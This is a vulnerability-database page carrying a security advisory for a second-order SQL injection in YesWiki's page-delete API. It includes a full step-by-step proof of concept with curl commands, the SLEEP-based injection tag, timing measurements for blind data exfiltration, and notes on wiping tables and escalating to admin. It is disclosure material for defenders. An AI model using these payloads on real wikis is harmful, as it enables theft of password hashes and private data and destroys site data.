PHP
CVE-2026-52771
HIGH
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …_links WHERE to_tag = '$tag' query without escaping. The page tag is attacker-controlled - the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.
This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the *read-back-and-reuse* path, where escaping is omitted.
Details
Affected component
- File:
includes/controllers/ApiController.php - Method:
ApiController::deletePage($tag) - Route:
@Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}})-acl:"+"means *any authenticated user*. - Sink: line 626
// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607-631)
public function deletePage($tag)
{
$pageManager = $this->getService(PageManager::class);
$pageController = $this->getService(PageController::class);
$dbService = $this->getService(DbService::class);
...
try {
$page = $pageManager->getOne($tag, null, false); // (a) safe SELECT
if (empty($page)) { ... } else {
$tag = isset($page['tag']) ? $page['tag'] : $tag;// ^ raw tag from DB
$result['notDeleted'] = [$tag];
if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
if (!$pageManager->isOrphaned($tag)) {
$dbService->query(
"DELETE FROM {$dbService->prefixTable('links')}
WHERE to_tag = '$tag'"); // (b) SINK - unescaped
}
...The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:
tools/tags/handlers/page/__deletepage.phpline 14 -DELETE … WHERE to_tag = '$tag', where$tag = $this->GetPageTag()is again the raw stored tag.handlers/page/deletepage.phplines 93-94 -LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'"), same pattern as a SELECT instead of a DELETE.
The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler
A low-privilege account can carry the whole chain:
- Plant -
POST /api/pages/{evil}with body=anything.PageManager::save()escapes the tag at INSERT time ('\''in SQL ⇒ stored'), so the tag persists with its single quote intact. The new page is owned by the attacker, soUserIsOwner($tag)in the delete handler will return true. - Make non-orphaned - save *any* second page whose body contains
{{include page="<evil>"}}through the web edit handler.LinkTracker::preventTrackingActions()parses the include directive, looks up the referenced page (PageManager::getOne()finds it because lookup usesescape(), which matches the stored quote), andLinkTracker::persist()inserts a row(from_tag='Linker', to_tag='<evil>')into_links- again withescape()on the way in, so the raw quote round-trips. - Trigger -
DELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns$tag = $page['tag'](the raw stored value, including'), runsisOrphaned($tag)(escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the unescapedDELETE FROM …_links WHERE to_tag = '$tag'. The SQL parser sees the attacker-controlled'as the end of the string literal; everything after it is treated as SQL.
The injection point is WHERE to_tag = '<here>' - any payload of the form <anything>' <SQL>-- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.
End to End Steps to reproduce the issue
- Preflight
- lab is up at http://localhost:8085
- Logging in
- admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
- Tier 1 - POST /api/pages/<evil-tag> (as TestUser01)
- PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
- Tier 2 - make the evil page non-orphaned
- PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
- Tier 2 - DELETE /api/pages/<evil-tag> (as TestUser01)
- baseline (non-existent tag) : 0.468s
- exploit (SLEEP(2) in tag) : 2.555s
- delta : 2.087s
- PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
- Tier 3 - time-based blind data exfiltration
- char='w' elapsed=0.505s miss
- char='x' elapsed=0.495s miss
- char='y' elapsed=3.522s <- HIT
- char='z' elapsed=0.662s miss
- PROOF : conditional SLEEP fired only for 'y'
RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.
PoC
Pre Reqs
Had the following things setup in advance:
- Yeswiki v4.6.5 lab image (Setup via podman)
- Admin & User Account setup.
Parts used across PoC:
- Site responding at
http://localhost:8085 - Admin account:
WikiAdmin / AdminPoc12345 - Low-priv account:
TestUser01 / TestPass12345*(this is the attacker)*
For the rest of this document, set:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
PREFIX="yeswiki_"
CJ=/tmp/yw_user.txt
# cookie jar for our low-priv attackerConfirm the vulnerable line is actually there:
podman exec "$CTR" \
grep -n "DELETE FROM.*links.*WHERE to_tag" \
/var/www/html/includes/controllers/ApiController.phpExpected output:
626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");Log in as the low-privilege attacker. We will get the session in return
rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \
--data-urlencode "action=login" --data-urlencode "context=LoginPoc" \
--data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \
--data-urlencode "remember=1"
# Verify the session is logged in:
SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}')
podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"Plant a page whose tag contains SQL meta-characters.
The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.
EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')
echo "raw tag : $EVIL_TAG"
echo "URL-encoded : $EVIL_ENC"
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \
--data-urlencode "body=poc"- The API accepted a tag with a literal
'and SQL keywords, completely unsanitized. - The single quote round-tripped through
PageManager::save()'sescape()and is now sitting in the database byte-for-byte asSleepTag' OR SLEEP(2)--- exactly what an attacker needs the read-back to return. TestUser01is the owner, so the eventualUserIsOwner($tag)check in the delete handler will pass for them.
Now, create a second page that will link to the evil page
The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evil tag has to appear as a to_tag somewhere in the _links table. The cleanest way is the legitimate {{include page="…"}} mechanism: a page whose body references the evil tag will register a link.
First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \
--data-urlencode "body=placeholder"
# Grab its id - we'll need it for the edit form's hidden "previous" field
LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e \
"SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';")
echo "LinkPoc id = $LINKID"Make the evil page non-orphaned (web edit handler)
Submit a web-editor save with body {{include page="<evil tag>"}}. The pre-handler tools/security/handlers/page/__edit.php would normally require a hashcash token, but env/install.sh disables use_hashcash so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.
NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1'
curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \
--data-urlencode "submit=Sauver" \
--data-urlencode "previous=${LINKID}" \
--data-urlencode "body=${NEW_BODY}"- The web edit handler called
LinkTracker::registerLinks($page, false, false)(handlers/page/edit.php:69). registerLinks()formatted the page body and reachedpreventTrackingActions()(includes/services/LinkTracker.php:160).- That regex extracted
SleepTag' OR SLEEP(2)--from{{include page="…"}}, calledPageManager::getOne(<extracted>)which found the page (lookup usesescape(), so a stored'still matches), and called$this->add($page['tag']). LinkTracker::persist()then inserted(from_tag='LinkPoc', to_tag='<evil tag, raw quote>')into_links.
Proves: the second-order data has now been planted on both sides of the join the vulnerable DELETE query touches.
We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null
T1=$(date +%s.%N)
awk "BEGIN{printf \"baseline elapsed: %.3fs\n\", $T1-$T0}"Expected output: baseline elapsed: ~0.3-0.7 s (one-shot HTTP round-trip + a fast SELECT … WHERE tag = …). Record this number.
Trigger the SQLi (Tier 2 - the actual vulnerability fires)
Issue a DELETE /api/pages/<evil tag>. The handler reads the page back from the DB, sees the row, takes $tag = $page['tag'] (the raw stored value, still containing '), checks isOrphaned() (returns *not* orphaned because step 5 inserted a row), and runs the unescaped DELETE on L626. With our tag, that becomes:
DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '
^^^ ^^^^^^^^^^^^^^^^
| injected SQL
breakoutSLEEP(2) runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json
T1=$(date +%s.%N)
awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}"
echo "--- response ---"
cat /tmp/yw_del.json; echoExpected output (the precise timing varies by host, but the *delta* relative to step 6 is what matters):
exploit elapsed: 2.555s
--- response ---
{"deleted":["SleepTag' OR SLEEP(2)-- "]}Impact
- Blind extraction of any column the wiki database account can read: user password hashes (
_users.password), email addresses, ACLs (_acls.list), private page bodies (_pages.body), database session data, etc. - The sink is a
DELETE; an attacker can appendOR 1=1--to wipe the entire_linkstable, breaking inter-page navigation site-wide. The path can also be combined withUNION-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive). SLEEP()per row scales with link-table size; a malicious tag withSLEEP(60)on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool._users.passwordhashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a low-priv → admin primitive, and chains with the bazar deserialization bug (separate advisory) as low-priv → admin → object injection / future RCE
AnalysisAI
{tag} endpoint. An attacker plants a page whose tag contains a SQL-breakout payload (the INSERT escapes it but stores the literal quote), makes the page non-orphaned via an {{include}} link, then triggers deletePage(), where the stored tag is concatenated unescaped into a DELETE FROM _links WHERE to_tag='$tag' query. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Recommended ActionAI
{tag} endpoint if possible. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-89 – SQL Injection
View allSame technique Deserialization
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-8f2v-2qhj-gfwg